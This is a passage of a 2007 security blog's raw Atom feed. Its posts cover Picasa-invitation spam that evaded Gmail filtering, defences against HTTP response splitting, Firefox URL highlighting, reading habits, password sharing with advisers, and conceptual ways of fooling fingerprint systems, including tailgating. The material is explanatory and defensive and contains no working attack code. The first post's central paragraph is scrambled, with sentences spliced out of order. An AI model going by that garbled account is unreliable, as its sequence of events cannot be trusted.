src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-189892617062412328</id><published>2007-07-12T14:04:00.000Z</published><updated>2007-07-12T14:12:49.949Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Google Evades Google</title><content type='html'>I received a spam on a gmail account today that didn't end up in the spam bucket automatically.  Ordinarily, gmail does a really good job of filtering SPAM, but this account, then used Picasa's built-in invitation features to send an invite to me to lone used a different vector.&lt;br /&gt;&lt;br /&gt;The spammer used an Italian free webmail account as the source address.  (Maybe something like &lt;a href="http://rosario.valotta.googlepages.com/home"&gt;Nduja&lt;/a&gt; is making it in the wild already?)  But rather than use the freemail account directly to send the spam, they created a Picasa ook at the Picasa gallery.  The invitation mechanism allows you to put whatever text you want in the body of the invitation, which is where they put the invitation for me to send them my personal information.&lt;br /&gt;&lt;br /&gt;There were no links in the body of the email itself, except back to Picasa.  But what was really interesting about it is that it evaded the Spam filters by using a Google service.  It even had the DKIM headers intact.  So since Google verified the authenticity of the sender using DKIM, the email must be trusted, right?&lt;br /&gt;&lt;br /&gt;Now, I don't know that Google is using DKIM or SPF to actually reject email yet - they might just be measuring at this point.  But there's one way that they won't necessarily be 100% effective.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-189892617062412328?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/189892617062412328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/google-evades-google.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/189892617062412328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/189892617062412328'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/google-evades-google.html' title='Google Evades Google'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-7711306501079470536</id><published>2007-07-12T13:18:00.000Z</published><updated>2007-07-12T14:37:07.353Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='output filtering'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Jeremiah Grossman: HTTP Response Splitting Revelations</title><content type='html'>&lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Jeremiah Grossman&lt;/a&gt; has released some &lt;a href="http://jeremiahgrossman.blogspot.com/2007/07/http-response-splitting-revelations.html"&gt;additional information&lt;/a&gt; on pervasiveness and severity of HTTP Response Splitting (HRS&lt;sup&gt;1&lt;/sup&gt;, not to be confused with HRS&lt;sup&gt;2&lt;/sup&gt; which is HTTP Request Smuggling).&lt;br /&gt;While the recommendations are spot-on (input validation, output filtering), I'd say they're a bit incomplete:&lt;br /&gt;1) Input validation should always be whitelist.  The recommendation there was to remove carriage returns or linefeeds.  My recommendation is don't allow it if it doesn't fit the model you're looking for.&lt;br /&gt;2) (This is the more important).  In my experience, it's almost never necessary to return a user's direct input as a header.  The most common cases where I see Response Splitting/Header Injection are when a user preference cookie is set (what's your favorite background color?) or in redirects.  If it's a user preference, that needs to be kept in the user's session, not as a cookie in the user's browser.  And if it's a redirect, if you can exploit an HRS by a redirect, you've almost certainly got an open redirect issue as well.&lt;br /&gt;&lt;br /&gt;So there's my amendment:&lt;br /&gt;1) Business rule - whitelist input validation&lt;br /&gt;2) Proper output filtering (some of the Java API's for writing cookies and headers will even throw exceptions if the output isn't properly encoded, but the behavior is inconsistent - some throw exceptions, others don't throw exceptions but encode for you, some do none of the above).&lt;br /&gt;3) Look at the engineering - is the information you're putting in a cookie really necessary to put in a cookie?  Does it make more sense to put in the session?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-7711306501079470536?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://jeremiahgrossman.blogspot.com/2007/07/http-response-splitting-revelations.html' title='Jeremiah Grossman: HTTP Response Splitting Revelations'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/7711306501079470536/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/jeremiah-grossman-http-response.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7711306501079470536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7711306501079470536'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/jeremiah-grossman-http-response.html' title='Jeremiah Grossman: HTTP Response Splitting Revelations'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3004690595677929215</id><published>2007-07-12T12:05:00.001Z</published><updated>2007-07-17T17:42:14.911Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='customers'/><category scheme='http://www.blogger.com/atom/ns#' term='users'/><title type='text'>Firefox 3.0a7 URL Highlighting</title><content type='html'>I had a &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/06/firefox-3-screen-mockups-one-fix-is-no.html"&gt;post&lt;/a&gt; on why I think highlighting the host in the URL is a bad idea, then &lt;a href="http://ha.ckers.org/blog/20070610/firefox-30-address-bar-change-proposal/"&gt;RSnake had an additional problem with it&lt;/a&gt;.&lt;br /&gt;Here's a screenshot of why I think this is a bad idea:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_5n56hbQMEaU/RpYZqW7Dr2I/AAAAAAAAAAs/fLj8No_cj2I/s1600-h/urlhighlight.png"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_5n56hbQMEaU/RpYZqW7Dr2I/AAAAAAAAAAs/fLj8No_cj2I/s320/urlhighlight.png" alt="" id="BLOGGER_PHOTO_ID_5086281044660039522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The screenshot is from one of the &lt;a href="http://sla.ckers.org/forum/list.php?3"&gt;full-disclosure URL's&lt;/a&gt; that actually redraws the content.  As you can see, the host is in dark here, so we know exactly who is rendering the content, but the content can be whatever the attacker wants it to be.&lt;br /&gt;&lt;br /&gt;I'm sure another argument against it would be that users simply don't pay attention to the URL bar.  However, I think that's a bogus idea - just because not all people use the security features doesn't mean they shouldn't exist.  But in this case, I think the host highlighting is actually a step backwards - if it were a really good phishing attack, the URL bar would actually highlight the name of the victim site while what's on the page itself is completely in the control of the hacker.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3004690595677929215?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/06/firefox-3-screen-mockups-one-fix-is-no.html' title='Firefox 3.0a7 URL Highlighting'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3004690595677929215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/firefox-30a7-url-highlighting.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3004690595677929215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3004690595677929215'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/firefox-30a7-url-highlighting.html' title='Firefox 3.0a7 URL Highlighting'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_5n56hbQMEaU/RpYZqW7Dr2I/AAAAAAAAAAs/fLj8No_cj2I/s72-c/urlhighlight.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-728153855182701460</id><published>2007-07-10T18:40:00.000Z</published><updated>2007-07-10T19:49:09.854Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='offtopic'/><title type='text'>OT:  How to Read More in Less Time</title><content type='html'>&lt;span style="font-style: italic;"&gt;Off-topic...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;While security and development may be my profession, it's certainly not my only passion. I read blogs in a lot of different disciplines, not only security. Prior to RSS, keeping up-to-date on all that information would have been a nightmare. But even with RSS, separating the signal from the noise can be very difficult. I don't consider myself to be an expert on reading a large volume of material, but I thought I'd share how I at least make it manageable - while still only reading about twice daily.&lt;br /&gt;&lt;br /&gt;Without trying to push a particular reader, my mind works well with the "river of news" model. Rather than read a feed, then another feed, then another feed, or even a subject, then another subject, then another subject, it's easier for me to just process all of my reading in a single stream. This is probably my first step in being able to improve the signal-to-noise ratio. There are a handful of ways to do this. If you prefer to use your own reader, even if it's not "River of News", there's always &lt;a href="http://feedblendr.com/"&gt;FeedBlendr&lt;/a&gt;. There are a handful of desktop readers that display in RoN as well, but unless I have a specific need for one, I'm not a big fan of desktop readers.&lt;br /&gt;&lt;br /&gt;Having said all that, you can probably surmise that what's left are web-based readers that support River of News. And while there are others, I personally use Google Reader. I know in the industry a lot of people dislike Google because they harvest so much information, so when they have a vulnerability, it's a big deal with a wide impact. I feel relatively safe with my Google Reader reading, though - I don't watch anything uber-sensitive in Reader, and don't use Google Docs/Spreadsheets.&lt;br /&gt;&lt;br /&gt;So how do I use Google Reader in only two or so passes a day?  Here's a bullet list:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I only subscribe to one "World News" site and one "Local News" site. Those change from time to time because of technical issues with the feeds on some of them - I don't like to read the same information twice. But keeping the number to two, I'm able to see what's going on in the world (to a degree) while those feeds not dominating my reading list.&lt;/li&gt;&lt;li&gt;I visually filter in one pass, read in a second pass, and sometimes research in a third pass. There's far too much information to actually &lt;span style="font-weight: bold;"&gt;read&lt;/span&gt; every item, so I skim in the first pass and snipe off the items I want to spend some time looking at. There's a lot of stuff that goes into this first pass:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Who wrote the post.&lt;/li&gt;&lt;li&gt;Keywords&lt;/li&gt;&lt;li&gt;Link density (if there's going to be more to read about it later)&lt;/li&gt;&lt;li&gt;Timeliness&lt;/li&gt;&lt;li&gt;Source feed - if it comes from an aggregate site, it might be older or pre-picked before I get to it.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;I use keyboard shortcuts. For the first pass, this is crucial. So my two requirements for any reader are River of News and Keyboard Shortcuts. In Google Reader, I keep my fingers on the home keys - J is next, K is previous, S is for Star (or in my case, &lt;span style="font-weight: bold;"&gt;snipe&lt;/span&gt;).&lt;/li&gt;&lt;li&gt;The second pass I do by going to the Starred (or Sniped) items - "gs". Then I'm back to the keyboard shortcuts.  Here, 'v' opens the item if I need to read the whole thing (see later about synopses), but generally I use splodge-click so that the site (or link in the post) opens in a new tab but does not get focus - this I do in preparation for the third phase, which is research.&lt;/li&gt;&lt;li&gt;I prefer feeds with full posts as opposed to synopses - &lt;span style="font-weight: bold;"&gt;except&lt;/span&gt; in my local and world news feeds.  I know that some of you have ads or fancy-schmancy graphics you want people to see, and I can understand with the ads.  But I prefer to be able to read the whole story without having to visit your site.&lt;/li&gt;&lt;li&gt;I generally don't subscribe to aggregating sites.  While I think &lt;a href="http://planet-websecurity.org/"&gt;Planet Websecurity&lt;/a&gt; is fantastic (thanks &lt;a href="http://christ1an.blogspot.com/"&gt;christ1an&lt;/a&gt; for standing it up and maintaining it), the aggregated sites generally lose some of the formatting and often include more line-noise to begin with.  If there's a site that aggregates, I &lt;span style="font-weight: bold;"&gt;prefer&lt;/span&gt; to get a feed of the blog of that site so I can see what blog got added and why.  Then I look at the actual site that got added to see if it's something worth watching ongoing.&lt;/li&gt;&lt;/ul&gt;Readers that have search/filtering capability intrigue me to the degree that I can use a search or regex to kinda' reduce the signal-to-noise ratio to begin with, but I've not found one yet that I'm really happy with.  I suppose that's what &lt;a href="http://pipes.yahoo.com/pipes/"&gt;Yahoo! Pipes&lt;/a&gt;, &lt;a href="http://code.google.com/gme/"&gt;Google Mashup Editor&lt;/a&gt;, and &lt;a href="http://www.popfly.ms/"&gt;Popfly&lt;/a&gt; are for, so I suppose I'll start looking that route to pre-filter some of my feeds.&lt;br /&gt;&lt;br /&gt;Now a lot of you are going to give alternate reading methods that you think are vastly superior.  But for those who don't read a lot but would like to read more, that's how I get away with it while still only reading twice a day.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-728153855182701460?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/728153855182701460/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/ot-how-to-read-more-in-less-time.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/728153855182701460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/728153855182701460'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/ot-how-to-read-more-in-less-time.html' title='OT:  How to Read More in Less Time'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-860826756096472469</id><published>2007-07-09T14:15:00.000Z</published><updated>2007-07-09T14:23:58.166Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>This is Why Our Job is Hard</title><content type='html'>A colleague sent me this.&lt;br /&gt;&lt;br /&gt;From &lt;a href="http://www.businessweek.com/"&gt;Business Week&lt;/a&gt;'s &lt;a href="http://www.businessweek.com/magazine/toc/07_28/B4042magazine.htm"&gt;July 9 Issue&lt;/a&gt; in the &lt;a href="http://www.businessweek.com/magazine/toc/07_28/B40420728retirement.htm"&gt;Annual Retirement Guide&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;HOW CLOSELY WILL THE ADVISER monitor your plan? Through the Internet, 401(k) investors can keep an eye on their account daily if they so choose. Your adviser should be watching regularly, too, and sending you alerts if you need to rebalance or make other changes. The adviser can best stay informed if you hand over the password to your account or, at the very least, forward your monthly statements. In most cases, advisers do not actually make the trades, but rather notify you, then follow up to be sure you've pulled the trigger.&lt;br /&gt;&lt;/blockquote&gt;Nice.  I've got a better recommendation.  If your financial adviser needs your passwords to advise, advise them to take a hike.  Because somehow I doubt that anybody has advised them to use something safer than a sticky note to store your credentials.  In fact, they probably keep that stuff on a spreadsheet.  And if they're a really good adviser, they put it on their mobile phone, too.&lt;br /&gt;&lt;br /&gt;It doesn't matter how much you trust your financial adviser not to steal your money.  It matters how much you trust everybody who your financial adviser comes into contact with.&lt;br /&gt;&lt;br /&gt;No wonder it feels like an uphill battle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-860826756096472469?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.businessweek.com/magazine/content/07_28/b4042402.htm' title='This is Why Our Job is Hard'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/860826756096472469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/this-is-why-our-job-is-hard.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/860826756096472469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/860826756096472469'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/this-is-why-our-job-is-hard.html' title='This is Why Our Job is Hard'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-9191954870478423066</id><published>2007-07-07T13:05:00.000Z</published><updated>2007-07-07T13:27:24.408Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Evading Fingerprint Technology</title><content type='html'>&lt;span style="font-style: italic;"&gt;I'm not a forensic scientist, so if I make some forensic assumptions, don't necessarily believe them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A colleague of mine once said of biometric security devices &amp;quot;it's only bits&amp;quot;.  That one statement has completely changed the way I look at biometric devices.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://dsc.discovery.com/fansites/mythbusters/mythbusters.html"&gt;Mythbusters&lt;/a&gt; in one episode were able to fool fingerprint security devices using a few of the more obvious and less dramatic (no need to review Season 1 of &amp;quot;24&amp;quot; here) means of fooling them - including using a photocopy of a thumbprint against a system that also checks for heat and pulse.  And those are the more obvious methods of fooling the reader (to fool the reader, fool the reader itself).&lt;br /&gt;&lt;br /&gt;But I've always been concerned about the systems even if the reader itself is foolproof:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The way your fingerprint is registered in a database is by using a combination of attributes of the way your fingerprint is constructed.  Yes, your fingerprint (assuming you have them - some people don't even have them) is unique, but the number of attributes that are measured is finite.  And to reduce false-negative rates, I would assume that finite number is somewhat small.  The more prints that are in the database, the more chance that there is a collision between two sets of prints when using pure arithmetic to determine a print.  This can result in false-identification.  Because the attributes the system measures are common between me and some other guy, some other guy sometimes registers as me (even if he's not in the system).&lt;/li&gt;&lt;li&gt;Even if the reader itself is secure, is the channel between the reader and the database secure?  Can I get in between and either alter my bits to resemble somebody else's, or can I just send a new transaction with somebody else's bits?  Of course, that depends on me understanding the algorithm in order to determine what somebody else's bits are, but:&lt;/li&gt;&lt;li&gt;We all know that secrets don't last.  The algorithm that biometric security devices use to generate the bits is proprietary.  Why do open security algorithms work?  Because millions of eyes have looked at the algorithms - and some of those eyes are really smart.  A basic premise of keeping secrets is that the algorithm should be open, but the keys should be secure.&lt;/li&gt;&lt;li&gt;And lastly, I have personally seen many instances where biometric devices are assumed to be sufficient.  Consider a really big data center without man traps that uses biometric devices.  Since the data center is sufficiently large, nobody knows all the people who work there, so if you refuse to let somebody in, you're being perfectly rude.  An attacker just has to wait for somebody on the inside to approach the door to go get coffee, and the attacker approaches the reader just as the door opens.  Of course, the guy on the inside holds the door open for him - he's legitimate just by virtue of &lt;span style="font-weight: bold;"&gt;trying&lt;/span&gt; to use the biometric device.&lt;/li&gt;&lt;li&gt;And of course, there's the rubber hose method.  Hold a gun to my back, and I'll probably use my fingerprint to let you in.  If the mantrap is small enough, it's a good measure against rubber hose, even, but still not effective against:&lt;/li&gt;&lt;li&gt;More extreme measures.  Now it's time to review Season 1 of &amp;quot;24&amp;quot; or a Dan Brown book.&lt;/li&gt;&lt;/ul&gt;Now, I didn't say all this to scare you out of using biometric devices.  But biometric devices are only suitable as &lt;span style="font-weight: bold;"&gt;one&lt;/span&gt; means of &lt;span style="font-weight: bold;"&gt;authentication&lt;/span&gt;.  You still have to make identification, and you should require more than one means of authentication (depending on the sensitivity of whatever it is you're trying to protect).  And lastly, you need sufficient other controls that you can't just walk around the security device (a la the tollgate in Blazing Saddles).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-9191954870478423066?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://dsc.discovery.com/fansites/mythbusters/episode/episode_05.html' title='Evading Fingerprint Technology'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/9191954870478423066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/evading-fingerprint-technology.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/9191954870478423066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/9191954870478423066'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/evading-fingerprint-technology.html' title='Evading Fingerprint Technology'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1638799528206526852</id><published>2007-07-05T20:03:00.000Z</published><updated>2007-07-05T20:22:52.880Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>News and Notes - 2007-07-05</title><content type='html'>I've not posted in awhile because I've not spent the time (my own fault) to put together a good post about any of these items.  All links are worth a look-see, and probably worth a post in their own right.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Brian Chess and Jacob West's new book &lt;a href="http://amazon.com/o/ASIN/0321424778/"&gt;&lt;span style="font-style: italic;"&gt;Secure Programming with Static Analysis&lt;/span&gt;&lt;/a&gt; has been released.  Pick up your copy today.  I don't agree with them 100% on some of their philosophies, but the book is going to be worth the read, and will &lt;span style="font-weight: bold;"&gt;hopefully&lt;/span&gt; lend some weight to those who are trying to make static analysis a regular and vital part of their SDLC.&lt;/li&gt;&lt;li&gt;Christian Matthies has put together a &lt;a href="http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html"&gt;really excellent explanation of DNS pinning, anti-DNS pinning, anti-anti-DNS pinning, and anti-anti-anti-DNS pinning&lt;/a&gt;.  For those who have been curious, but never read a whole post on the two (anti- and anti-anti-anti-), this one's prolly worth keeping bookmarked for anybody you're bringing up to speed.&lt;/li&gt;&lt;li&gt;SANS has finalized round one of their &lt;a href="http://www.sans.org/gssp07/?portal=fdf229400e6f15fa1f5de57a10193301"&gt;GIAC Secure Software Programmer certification&lt;/a&gt;.  I was &lt;span style="font-weight: bold;"&gt;very&lt;/span&gt; happy to hear about an exam they were developing with a couple of universities last autumn, and it's now coming to fruition.  It's still operated like any other GIAC offering, so there's not yet a corporate installment of it where you get all your coders certified at once.  But it's certainly worth the look - and they do have sample questions.  For you C people, it &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; specific on the different types of overruns.  You need to learn all the different ways a buffer overrun happens (off-by-one, fencepost, etc., etc.).&lt;/li&gt;&lt;li&gt;sla.ckers.org has had a couple of interesting threads of late.  First, I&lt;a href="http://sla.ckers.org/forum/read.php?2,13209,13298#msg-13298"&gt;nternet Exploder globs for the language of choice in scripting&lt;/a&gt;.  Short story there, whitelist input validation and proper output filtering.  The real vulnerability there is because people actually filter for "javascript" or somesuch.  Second, &lt;a href="http://sla.ckers.org/forum/read.php?2,13297,13297#msg-13297"&gt;Firefox hasn't corrected (completely) the non-alpha-non-digit issue&lt;/a&gt;.  Again, same rules apply.  If you're making sure the input is good, as opposed to not-bad, and if you're properly output filtering, you should be fine.&lt;/li&gt;&lt;/ul&gt;That should be enough to keep you reading for a bit.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1638799528206526852?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1638799528206526852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/news-and-notes-2007-07-05.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1638799528206526852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1638799528206526852'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/07/news-and-notes-2007-07-05.html' title='News and Notes - 2007-07-05'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1873000948441486336</id><published>2007-06-26T23:33:00.000Z</published><updated>2007-06-26T23:56:39.091Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>The Future of Ethical Hacking</title><content type='html'>I often come across as uber-idealistic, sounding like problems can magically solve themselves in earlier phases of the lifecycle, touting training as the first step to getting problems fixed.  I've also probably come across sounding like there's no need for anybody in the development team to think about &lt;span style="font-weight: bold;"&gt;security&lt;/span&gt; per se, because what ends up being exploitable started out as either a semantic flaw (read: typo), or a logical flaw (read: forgetful engineering).  I emphasize these (sometimes to a fault) because the earlier things are fixed, the less expensive they are to fix.&lt;br /&gt;&lt;br /&gt;One might think that a by-product of better coding, source code reviews and scanning early and often, and security engineers being involved during product engineering would somehow lead to a lack of importance of ethical hackers.  Indeed, I've often stated that the Secret Service, when being trained to identify counterfeit money, look at &lt;span style="font-weight: bold;"&gt;zero&lt;/span&gt; counterfeit bills (I've not found anything to substantiate this, but the &lt;a href="http://www.treas.gov/usss/know_your_money.shtml"&gt;Secret Service site that tells US Citizens how to identify counterfeit currency&lt;/a&gt; has &lt;span style="font-weight: bold;"&gt;much&lt;/span&gt; more information on the real artifact than the fake).  However, even in a perfect world, white-room development lifecycle with security testing, real engineering processes, and well-trained coders, I think ethical hacking would still be a critical component, albeit in a somewhat different role.&lt;br /&gt;&lt;br /&gt;I've talked about &lt;span style="font-style: italic;"&gt;semantic flaws&lt;/span&gt;, and &lt;span style="font-style: italic;"&gt;logical flaws&lt;/span&gt;, but never really addressed something that looks more like &lt;span style="font-style: italic;"&gt;design exposures&lt;/span&gt;.  These are the problems that are inherent to the design, but they actually look like design features.  For example, a car that is designed to go 300km/h and from 0 to 100km/h in 4 seconds, when put in the hands of an inexperienced driver, causes a degree of exposure to the driver and those around him.  While I have much more confidence in &lt;a href="http://paypal.com/"&gt;PayPal&lt;/a&gt; than with a mom-and-pop location keeping my financial information (or many of them), a site retains your financial information for extended periods of time is &lt;span style="font-weight: bold;"&gt;some&lt;/span&gt; sort of exposure.&lt;br /&gt;&lt;br /&gt;So what do design exposures have to do with ethical hacking?  I think really good ethical hackers, to be employable long-term, need to be able to engineer ways to exploit those design exposures, or better yet, combinations of them.  An ethical hacker, in the future, will be the person who can say that even if your site has &lt;span style="font-weight: bold;"&gt;zero&lt;/span&gt; of the OWASP Top 10 (probably meaning the site is non-functional by today's standards), that there are features there that when used in concert with other sites, other features in the same site, or certain timing of circumstances, can lead to really serious problems.&lt;br /&gt;&lt;br /&gt;Fortunately, right now, there's no need for all the ethical hackers to forget everything they know about injection attacks.  There are plenty of those yet to fix.  And because there are still plenty of those to fix (and because users still click links in emails), the attackers haven't been forced to become more sophisticated in their attacks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1873000948441486336?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1873000948441486336/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/future-of-ethical-hacking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1873000948441486336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1873000948441486336'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/06/future-of-ethical-hacking.html' title='The Future of Ethical Hacking'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image 